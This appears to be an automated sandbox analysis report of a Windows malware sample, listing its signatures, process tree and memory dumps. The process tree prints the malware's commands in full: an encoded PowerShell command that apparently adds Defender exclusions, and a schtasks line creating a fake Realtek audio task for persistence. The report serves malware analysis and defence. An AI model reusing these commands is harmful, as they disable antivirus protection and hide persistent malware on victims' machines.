Analysis
- max time kernel
150s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
17/04/2026, 04:16
General
- Target 5ee29d258d4b40db445b987ed28bea7313a7f10335a0dd9357029c0408689c04.exe
- Size 5.3MB
- Sample260417-ev1eesas6y
- SHA256 5ee29d258d4b40db445b987ed28bea7313a7f10335a0dd9357029c0408689c04
Malware Config
Signatures
- Executes dropped EXE 4 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Drops file in System32 directory 2 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\5ee29d258d4b40db445b987ed28bea7313a7f10335a0dd9357029c0408689c04.exe"C:\Users\Admin\AppData\Local\Temp\5ee29d258d4b40db445b987ed28bea7313a7f10335a0dd9357029c0408689c04.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAcwB2ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGsAcQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAdwBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AagBhACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\proxy-uid.exe"C:\Users\Admin\AppData\Local\Temp\proxy-uid.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\bind.exe"C:\Windows\bind.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RtkAudServices" /sc ONLOGON /tr "C:\Windows\system32\rtkaudioservice\rtkaudio.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\rtkaudioservice\rtkaudio.exe"C:\Windows\system32\rtkaudioservice\rtkaudio.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RtkAudServices" /sc ONLOGON /tr "C:\Windows\system32\rtkaudioservice\rtkaudio.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\system32\rtkaudioservice\rtkaudio.exeC:\Windows\system32\rtkaudioservice\rtkaudio.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_wjhpi1xw.k2m.ps1
proxy-uid.exe
bind.exe
memory/1400-79-0x000001D4ECA40000-0x000001D4ECA52000-memory.dmp
memory/3068-23-0x0000024BA8230000-0x0000024BA8536000-memory.dmp
memory/3068-26-0x0000024BA8960000-0x0000024BA897E000-memory.dmp
memory/3068-77-0x0000024BA8A50000-0x0000024BA8A62000-memory.dmp
memory/4360-24-0x000001AF10CF0000-0x000001AF10F4C000-memory.dmp
memory/4932-22-0x0000000002D10000-0x0000000002D92000-memory.dmp
memory/4964-69-0x00000000071F0000-0x0000000007201000-memory.dmp
memory/4964-62-0x0000000006FD0000-0x0000000006FEA000-memory.dmp
memory/4964-29-0x0000000005690000-0x00000000056F6000-memory.dmp
memory/4964-37-0x00000000057E0000-0x0000000005B37000-memory.dmp
memory/4964-38-0x0000000005C50000-0x0000000005C6E000-memory.dmp
memory/4964-39-0x0000000005C80000-0x0000000005CCC000-memory.dmp
memory/4964-53-0x0000000006C80000-0x0000000006C9E000-memory.dmp
memory/4964-54-0x0000000006CA0000-0x0000000006D44000-memory.dmp
memory/4964-46-0x0000000070D40000-0x0000000070D8C000-memory.dmp
memory/4964-45-0x0000000006C40000-0x0000000006C74000-memory.dmp
memory/4964-86-0x0000000002720000-0x00000000027A2000-memory.dmp
memory/4964-25-0x00000000026A0000-0x00000000026D6000-memory.dmp
memory/4964-75-0x0000000002720000-0x00000000027A2000-memory.dmp
memory/4964-27-0x0000000004E70000-0x000000000549A000-memory.dmp
memory/4964-76-0x0000000005D60000-0x0000000005D6A000-memory.dmp
memory/4964-74-0x0000000007310000-0x0000000007318000-memory.dmp
memory/4964-72-0x0000000007320000-0x000000000733A000-memory.dmp
memory/4964-30-0x0000000005770000-0x00000000057D6000-memory.dmp
memory/4964-71-0x0000000007230000-0x0000000007245000-memory.dmp
memory/4964-70-0x0000000007220000-0x000000000722E000-memory.dmp
memory/4964-28-0x0000000004DB0000-0x0000000004DD2000-memory.dmp
memory/4964-61-0x0000000007620000-0x0000000007C9A000-memory.dmp
memory/4964-67-0x0000000007060000-0x000000000706A000-memory.dmp
memory/4964-68-0x0000000007260000-0x00000000072F6000-memory.dmp
memory/5012-64-0x000001D1C0520000-0x000001D1C056C000-memory.dmp
memory/5012-65-0x000001D1C0570000-0x000001D1C05BA000-memory.dmp
memory/5012-66-0x000001D1C0430000-0x000001D1C045A000-memory.dmp
memory/5012-63-0x000001D1C03F0000-0x000001D1C0424000-memory.dmp
memory/5012-57-0x000001D1C0460000-0x000001D1C0512000-memory.dmp
memory/5012-58-0x000001D1C0300000-0x000001D1C034A000-memory.dmp
memory/5012-59-0x000001D1C03A0000-0x000001D1C03EE000-memory.dmp
memory/5012-60-0x000001D1BFE90000-0x000001D1BFEB6000-memory.dmp
memory/5012-78-0x000001D1BFE60000-0x000001D1BFE72000-memory.dmp
memory/5012-56-0x000001D1C0350000-0x000001D1C03A0000-memory.dmp
memory/5012-55-0x000001D1C02C0000-0x000001D1C02FA000-memory.dmp